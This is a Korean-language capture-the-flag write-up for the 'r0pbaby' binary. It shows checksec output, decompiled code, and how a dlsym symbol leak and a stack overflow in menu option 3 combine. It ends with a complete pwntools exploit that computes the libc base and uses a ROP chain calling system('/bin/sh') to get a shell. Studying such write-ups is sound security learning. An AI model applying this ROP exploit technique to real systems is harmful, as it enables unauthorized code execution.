문제
r0pbaby 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
file 명령어의 결과는 다음과 같다.
r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped
바이너리 코드
main()
__int64 __fastcall main()
{
...
char nptr[1088]; // [rbp-440h]
__int64 savedregs; // [rbp+0h]
...
handle = dlopen("libc.so.6",1);
while(1)
{
while(1)
{
while(1)
{
while(1)
{
...
if(!sub_B9A((__int64)nptr,0x400))
{
return 0;
}
v3 = strtol(nptr,0,10);
if (v3 != 2)
break;
...
if(sub_B9A((__int64)nptr,0x40))
{
__printf_chk(1,"Symbol %s: 0x%016llX\n",nptr,dlsym(handle,nptr));
}
else
{
puts("Bad symbol.");
}
}
if (v3 > 2)
break;
if (v3 != 1)
goto LABEL_24;
__printf_chk(1,"libc.so.6: 0x%016llX\n",handle);
}
if (v3 != 3)
break;
sub_B9A((__int64)nptr,0x400);
v4 = (signed int)strtol(nptr,0,10);
if(v4 -1 > 0x3ff)
{
puts("Invalid amount");
}
else
{
if(v4)
{
v5 = 0;
v6 = 0;
while(1)
{
v7 = _IO_getc(stdin);
if(v7 == -1)
break;
nptr[v6] = v7;
v6 = ++v5;
if( v4 <= v5)
goto LABEL_22;
}
v6 = v5 + 1;
}
else
v6 = 0;
LABEL_22:
memcpy(&savedreg,nptr,v6);
}
}
if(v3 == 4)
break;
LABEL_24:
puts("Bad choice");
}
dclose(handle);
...
return 0;
}
sub_B9A()
__int64 __fastcall sub_B9A(__int a1, __int64 a2)
{
...
v2 = a2 -1;
if(v2)
{
v3=0;
v4=0;
do
{
v5 = _IO_getc(stdin);
if(v5 == -1)
break;
if(v5 == 10)
break;
++v4;
*(_BYTE *)(a1 + v3) = v5;
v3 = v4;
}
while(v4 < v2);
}
else
{
v3=0;
}
*(_BYTE *)(a1 + v3) = 0;
return v3;
}
1번을 선택하면 libc 주소를 출력해준다고 하는데 여기서는 libc의 주소를 출력하는게 아니라 dlopen의 리턴값인 handle 값을 출력해준다.
따라서 libc의 base address를 얻기 위해서 2번을 이용한다. 2번은 dlsym 함수를 이용해 입력받은 symbol의 위치를 출력해준다. 이를 통해서 libc의 base address를 알아낼 수 있다.
그 이후 3번에 존재하는 bof를 통해 ret를 ROP gadget으로 덮어주면 쉘을 딸 수 있다.
풀이
#!/usr/bin/python
from pwn import *
import time
file_path="/home/sungyun/round3/r0pbaby/r0pbaby"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(file_path)
p.recvuntil(": ")
p.sendline("2")
p.recvuntil("symbol: ")
p.sendline("system")
p.recvuntil("system: ")
system=int(p.recvline(),16)
libc_base=system-libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]
prdi=libc_base+0x0000000000021102
pay="A"*8
pay+=p64(prdi)
pay+=p64(sh)
pay+=p64(system)
p.sendline("3")
p.recvuntil(" (max 1024): ")
p.sendline(str(len(pay)))
time.sleep(0.1)
p.sendline(pay)
p.interactive()